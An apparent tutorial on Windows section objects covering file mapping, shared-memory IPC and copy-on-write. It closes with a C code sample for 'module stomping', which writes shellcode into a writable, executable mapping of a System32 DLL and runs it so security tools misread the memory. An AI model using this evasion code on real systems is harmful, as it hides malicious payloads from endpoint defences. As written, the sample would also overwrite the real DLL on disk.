Memory-Mapped Files

Section objects as the kernel mechanism behind file mapping, shared memory for IPC, copy-on-write semantics, and how module stomping abuses file-backed sections to hide shellcode

Section Objects

The kernel mechanism underlying all memory-mapped files is the section object (also called a file mapping object in Win32 terminology). A section object represents a block of memory that can be mapped into one or more processes' virtual address spaces.

  Section Object and Mapping
  ─────────────────────────────────────────────────────────────────────
  File on Disk          Section Object         Process Address Space
  ──────────────────    ──────────────────     ──────────────────────
  ntdll.dll        ──► [SECTION object]  ───► VA 0x7FFC00000000
                                         │    (MEM_MAPPED, PAGE_EXECUTE_READ)
                                         └──► VA 0x7FFB00000000 (another process)
                                              (shared read-only pages — physical
                                              pages shared between all processes)

  Multiple processes map the same section:
  Physical RAM page P → mapped into Process A at 0x7FFC00001000
                      → mapped into Process B at 0x7FFC00001000
                      → mapped into Process C at 0x7FF900001000
  All three VAs point to the same physical page → zero wasted RAM

  

Memory Mapping API

// File mapping example: read a file's content via memory mapping
#include <windows.h>

PVOID MapFileReadOnly(LPCWSTR filePath, PDWORD pSize) {
    HANDLE hFile = CreateFileW(filePath, GENERIC_READ, FILE_SHARE_READ,
                                NULL, OPEN_EXISTING, 0, NULL);
    if (hFile == INVALID_HANDLE_VALUE) return NULL;

    *pSize = GetFileSize(hFile, NULL);

    // Create a section object backed by this file
    HANDLE hMapping = CreateFileMappingW(hFile, NULL,
        PAGE_READONLY,   // protection for the section
        0, 0,           // max size 0 = use file size
        NULL);           // unnamed section
    CloseHandle(hFile);
    if (!hMapping) return NULL;

    // Map a view of the section into our address space
    PVOID pView = MapViewOfFile(hMapping,
        FILE_MAP_READ,  // desired access
        0, 0,          // offset 0
        0);             // map whole section
    CloseHandle(hMapping);
    // pView points to the file content; unmap with UnmapViewOfFile(pView)
    return pView;
}

Shared Memory Between Processes

Named section objects are the cleanest IPC mechanism for large data sharing. Unlike pipes (stream-based), shared memory allows random-access to a shared buffer:

// Producer: create named shared memory
HANDLE hMap = CreateFileMappingW(
    INVALID_HANDLE_VALUE,  // pagefile-backed (not file-backed)
    NULL,
    PAGE_READWRITE,
    0, 4096,             // 4 KB shared region
    L"Local\\MySharedMemory");

PVOID pShared = MapViewOfFile(hMap, FILE_MAP_WRITE, 0, 0, 4096);
sprintf_s((char*)pShared, 4096, "Hello from producer\n");

// Consumer: open the named section
HANDLE hMap2 = OpenFileMappingW(FILE_MAP_READ, FALSE,
    L"Local\\MySharedMemory");
PVOID pShared2 = MapViewOfFile(hMap2, FILE_MAP_READ, 0, 0, 4096);
printf("%s", (char*)pShared2);
// Both processes share the same physical pages — no copy needed

Copy-on-Write (CoW)

When multiple processes map the same section and one tries to write to it, Windows uses copy-on-write: the kernel silently creates a private copy of the modified page for the writing process, while other processes continue to see the original shared page.

This is used by: (1) DLL code sections — all processes sharing ntdll.dll read from shared pages; if any process uses an inline hook to patch ntdll, it gets its own private copy of the patched page while other processes remain unaffected. (2) The Windows loader for executable images — the image's data sections are initially mapped shared (copy-on-write) and become private only when first written.

  Copy-on-Write for DLL Code Sections
  ─────────────────────────────────────────────────────────────────────
  Before EDR hook:
  Process A.ntdll.dll → Physical Page P1 → [original NtCreateFile code]
  Process B.ntdll.dll → Physical Page P1 → [original NtCreateFile code]
  EDR.ntdll.dll      → Physical Page P1 → [original NtCreateFile code]
  (all sharing page P1)

  After EDR patches NtCreateFile in Process A:
  Process A.ntdll.dll → Physical Page P1' → [JMP hook_trampoline]  (private copy)
  Process B.ntdll.dll → Physical Page P1  → [original NtCreateFile code]
  EDR.ntdll.dll      → Physical Page P1  → [original NtCreateFile code]
  (P1' is a new CoW page; P1 unchanged)

  

Module Stomping (Mapped Shellcode)

Module stomping is an injection evasion technique that uses file-backed sections to hide shellcode. Because the memory region is backed by a legitimate DLL on disk, it appears as MEM_MAPPED instead of MEM_PRIVATE — bypassing checkers that only look for private executable regions:

// Module stomping: map a legitimate DLL, then overwrite with shellcode
void ModuleStomping(PVOID shellcode, SIZE_T shellcodeLen) {
    // Step 1: Map a "legitimate" DLL as a section
    HANDLE hFile = CreateFileW(L"C:\\Windows\\System32\\version.dll",
        GENERIC_READ | GENERIC_WRITE,
        FILE_SHARE_READ | FILE_SHARE_WRITE,
        NULL, OPEN_EXISTING, 0, NULL);

    HANDLE hMapping = CreateFileMappingW(hFile, NULL,
        PAGE_EXECUTE_READWRITE,  // RWX section
        0, 0, NULL);

    PVOID pView = MapViewOfFile(hMapping,
        FILE_MAP_ALL_ACCESS | FILE_MAP_EXECUTE,
        0, 0, 0);

    // Step 2: Overwrite section with shellcode
    memcpy(pView, shellcode, shellcodeLen);
    FlushInstructionCache(GetCurrentProcess(), pView, shellcodeLen);

    // Step 3: Execute from the mapped region
    ((void(*)())pView)();

    // The memory region shows as MEM_MAPPED, backed by version.dll
    // VirtualQuery shows Type=MEM_MAPPED, not MEM_PRIVATE
}

Shared Memory vs Named Pipes

Q & A